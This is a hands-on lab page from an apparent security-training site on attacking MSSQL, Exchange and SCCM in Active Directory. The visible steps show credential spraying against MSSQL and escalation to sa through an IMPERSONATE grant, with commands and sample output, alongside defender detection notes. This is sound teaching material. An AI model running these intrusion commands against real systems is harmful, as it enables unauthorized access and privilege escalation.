Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Active Directory and Windows attacks

Lab · Hard · 2.5 hoursFree account

MSSQL, Exchange & SCCM Attacks

Walk three AD-joined platforms: MSSQL linked servers and command execution, the Exchange WriteDacl path, and SCCM site and NAA abuse.

  • mssql
  • exchange
  • sccm
  • active-directory
  • linked-servers
On this page 15 sections
  1. ·Overview
  2. ·Prerequisites
  3. ·Lab setup
  4. ·Build the target
  5. 1Authenticate to MSSQL with the domain credential
  6. 2Read your privileges and test impersonation
  7. Locked: Abuse the linked server to reach SQL02
  8. Locked: Get command execution with xp_cmdshell
  9. Locked: Coerce MSSQL authentication for a relay
  10. Locked: Locate the SCCM site server
  11. Locked: Understand Network Access Account recovery
  12. Locked: Map the Exchange-to-AD escalation
  13. Locked: Check
  14. Locked: Clean-up
  15. Locked: Command reference

MSSQL, Exchange and SCCM each run as a privileged account inside Active Directory, so one weak link on any of the three becomes a path to domain compromise. Linked-server abuse, Exchange WriteDacl and SCCM Network Access Account recovery show up in most internal pentests and in public incident reports for the same reason: the platform's own features. Here you walk all three from a single plain-user foothold.

Lab Objectives

  • Authenticate to MSSQL with a domain credential and read its privileges
  • Abuse an MSSQL linked server and xp_cmdshell to run queries and commands on more instances
  • Coerce MSSQL authentication to feed an NTLM relay
  • Locate the SCCM site server and explain Network Access Account recovery
  • Map the Exchange group that holds WriteDacl on the domain object
  • Match each technique to the Windows events a defender sees

Overview

MSSQL, Exchange and SCCM sit on domain-joined servers and run as privileged accounts. Each one widens the attack surface of Active Directory, not only its own data. This lab reads all three from a single plain-user foothold. It abuses MSSQL in full, because a database engine runs code. It stops at enumeration for the Exchange and SCCM escalations, because the abuse itself is an NTLM relay, and relay has its own lab. Every step names what a defender would see.

Prerequisites

Lab setup

ItemPurpose
impacket (impacket-mssqlclient, impacket-ntlmrelayx)Logs in to MSSQL and runs the relay listener
crackmapexecSprays and confirms a credential against the MSSQL service
sccmhunterFinds the SCCM site server and site code over LDAP
SharpSCCMReads SCCM client policy and the Network Access Account on a client host
powerview (PowerShell)Reads the ACL on the domain object for the Exchange path

Build the target

KaliRange hosts no targets, no virtual machines and no lab files. You run this lab on your own machine, against a domain that you build. The names and 10.0.0.x addresses below are the example addresses of this lab. Replace them with the addresses of your own domain.

Your lab domain must have these hosts:

HostIPRole
DC0110.0.0.10Domain Controller of CORP.LOCAL
SQL0110.0.0.30MSSQL, with a linked server to SQL02
SQL0210.0.0.31Second MSSQL instance, reached only through the link
EXCH0110.0.0.40Exchange server
MECM0110.0.0.50SCCM (MECM) primary site server, site code PS1

Your own Kali machine is 10.0.0.100. A virtual machine is fine. The domain must also have these parts:

  • The foothold account j.doe@CORP.LOCAL with the password Str0ngPass!99: a plain domain user. Use your own password and put it in the commands.
  • SQL01 runs MSSQL as the service account CORP\svc_mssql, accepts Windows logins, and lets j.doe connect with the guest role on master. SQL01 can open an SMB connection to your Kali machine.
  • On SQL01, j.doe holds an IMPERSONATE grant on sa. xp_cmdshell is disabled (Step 4 enables it).
  • On SQL01, a linked server SQL02 runs every query as sa on SQL02.
  • MECM01 publishes its site PS1 to Active Directory, so the System Management container holds the SCCM records (Step 6).
  • An SCCM-managed client host where you have local admin, and an SCCM Network Access Account CORP\svc_sccm_naa that the site pushes to its clients (Step 7).
  • Exchange installed in the domain with the default permissions, so the group Exchange Windows Permissions holds WriteDacl on DC=corp,DC=local (Step 8). The SID in the output is only an example; your domain has its own.

Build such a domain from free, legal parts. Install an evaluation copy of Windows Server from the Microsoft Evaluation Center (180 days) in virtual machines on your own computer, and add SQL Server, Exchange and SCCM evaluation copies on the right hosts. Take a snapshot of each virtual machine before Step 1, so you can go back.

Authorized-lab only. Run every command in this lab only against a domain that you own or have written permission to test, here the 10.0.0.0/8 hosts above, and nowhere else. MSSQL command execution, authentication coercion and SCCM credential recovery are unauthorized access against any system you do not own or hold written permission to test.

Step 1: Authenticate to MSSQL with the domain credential

1

Confirm the credential against the MSSQL service, then open a session

Spray the foothold credential at the MSSQL service on SQL01 to confirm it logs in. Then open an interactive session with impacket-mssqlclient using Windows authentication.

crackmapexec mssql 10.0.0.30 -u j.doe -p 'Str0ngPass!99' -d corp.local

Example output:

MSSQL  10.0.0.30  1433  SQL01  [*] Windows Server 2022 (name:SQL01) (domain:corp.local)
MSSQL  10.0.0.30  1433  SQL01  [+] corp.local\j.doe:Str0ngPass!99

The [+] line confirms the account authenticates to the database engine. Open a session.

impacket-mssqlclient 'corp.local/j.doe:Str0ngPass!99@10.0.0.30' -windows-auth

Example output:

[*] Encryption required, switching to TLS
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[*] INFO(SQL01): Line 1: Changed database context to 'master'.
[*] INFO(SQL01): Line 1: Changed language setting to us_english.
SQL (CORP\j.doe  guest@master)>

The prompt names your login (CORP\j.doe) and your role on this database (guest). A domain user with guest is the normal starting point. Why it matters: an MSSQL login mapped to a domain account means every domain user is a potential database user, with no SQL password to crack.

What a defender would see. The login is Event ID 18453 in the SQL error log, a successful login for CORP\j.doe. One domain user that never queried this server before, now connected from 10.0.0.100, is the first weak signal. Enable SQL Server login auditing for both success and failure to capture it.

Step 2: Read your privileges and test impersonation

2

List who you can impersonate, then switch to that login

Ask MSSQL which logins your account is allowed to impersonate. A misconfigured IMPERSONATE grant lets a low-privilege login run as a high-privilege one. Switch to any login the server offers.

SQL (CORP\j.doe  guest@master)> enum_impersonate

Example output:

execute_as          database   permission_name   state_desc   grantee          grantor
-----------------   --------   ---------------   ----------   --------------   --------
LOGIN               master     IMPERSONATE       GRANT        CORP\j.doe       sa

The row shows j.doe can impersonate sa, the database super-user, at the server level. Switch to it.

SQL (CORP\j.doe  guest@master)> exec_as_login sa
SQL (sa  dbo@master)> SELECT SYSTEM_USER;

Example output:

-------
sa
SQL (sa  dbo@master)>

The prompt now reads sa, and SELECT SYSTEM_USER confirms it. You moved from guest to full control of the instance without a new credential. Why it matters: IMPERSONATE is granted for one narrow application task, then forgotten, and it hands an attacker sysadmin.

What a defender would see. The EXECUTE AS is visible in a SQL Server audit when you audit IMPERSONATE and SERVER_PRINCIPAL_IMPERSONATION events. Defence: audit IMPERSONATE grants on every instance. Remove any grant that targets sa or a sysadmin login.

Sign in to continue

9 more sections are for signed-in members. It is free: sign in with Google.

Related